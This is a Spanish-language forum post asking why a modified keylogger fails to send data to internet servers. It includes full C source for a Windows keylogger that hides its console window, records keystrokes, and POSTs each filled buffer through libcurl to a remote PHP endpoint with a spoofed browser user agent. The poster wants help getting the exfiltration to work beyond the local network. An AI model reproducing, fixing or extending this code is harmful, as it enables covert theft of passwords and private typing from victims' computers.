El script esta basado en un keymail.c GPL, la modificacion que estoy haciendo es que los datos se envien al llenar un buffer de char a una direccion URL usando la libreria libcurl.
Me funciona muy bien en una Red de Area Local, es decir que la informacion la envie a una direccion IP estilo 192.168.1.111 , pero cuando quiero mandar la informacion a un servidor externo (a una direccion IP de internet o un nombre de dominio) , la informacion no se envia. No entiendo el por que de este comportamiento.
Código:
Se entiende que midominio.org es un ejemplo , cuando pongo la direccion de IP de un Servidor Web que tengo en mi LAN (192.168.1.111) funciona de maravillas es decir, que al llenar el buffer de 100 caracteres, envia la informacion por POST al servidor, pero cuando cambio la URL ya no funciona (si esta es una URL de internet)./* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * File: keymail.c Ver. 0.7 GPL * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like: Linker error] undefined reference to `WSAStartup@8' Add this: -lws2_32 to Tools->Compiler Options under the section on compile flags. */ // Agregamos Librerias #pragma comment(lib,"libws2_32.a") #include <windows.h> #include <stdio.h> #include <winuser.h> #include <windowsx.h> #include <time.h> #include "winsock2.h" #include <curl/curl.h> #define FileName "sound.wav" #define MAX 100 int Connect(); void SendPack(int, char*, char*); char buffer[MAX]; int pos_buffer=0; int test_key(void); int main(void) { //Uncomment the lines below to put the keylogger in stealh mode. HWND stealth; /*creating stealth */ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); // Llamamos a Funcion que Captura Teclas int t=get_keys(); return t; } void insertar(char *string,int *pos,char chr) { string[*pos] = chr; printf("Agregado el Caracter %c en pos %i \n",chr,*pos); *pos = *pos +1; } int get_keys(void) { int freadindex; char *buf; long len; FILE *file; file=fopen(FileName,"a+"); short character; while(1) { sleep(10);/*to prevent 100% cpu usage*/ for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { if((character>=39)&&(character<=64)) { insertar(buffer,&pos_buffer,character); break; } else if((character>64)&&(character<91)) { character+=32; insertar(buffer,&pos_buffer,character); break; } else { insertar(buffer,&pos_buffer,character); break; } } } // Superamos Buffer if ( pos_buffer > (MAX) ) { // Enviamos Informacion pos_buffer=0; // Llamamos Funcion Conectar Conectar(); //return EXIT_SUCCESS; } } //return EXIT_SUCCESS; } int Conectar () { CURL *curl; CURLcode res; char var[MAX+3]; curl = curl_easy_init(); if(curl) { // Entregamos URL del Script curl_easy_setopt(curl, CURLOPT_URL, "http://midominio.org/key.php"); /* Now specify the POST data */ // Entregamos datos sprintf(var,"t=%s",buffer); curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox 2.0.0.6"); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, var); /* Perform the request, res will get the return code */ res = curl_easy_perform(curl); /* always cleanup */ curl_easy_cleanup(curl); } return 0; }
Con un Sniffer, he verificado que la libreria le pide a mi servidor de DNS la resolucion del dominio y se la entrega.
Pero no sucede nada mas que eso.
Uso DEV-C++ 4.9.9.2 , uso la libreria libcurl.dll (v 7.13.0) no he podido usar otra libreria libcurl.dll debido a que no puedo compilarla.
¿ Que puede ser ?
¿ Me falta alguna libreria para la resolucion de Nombres ?
¿ Alguna otra libreria para realizar un simple GET o POST HTTP ?
Alguna Idea ?
Gracias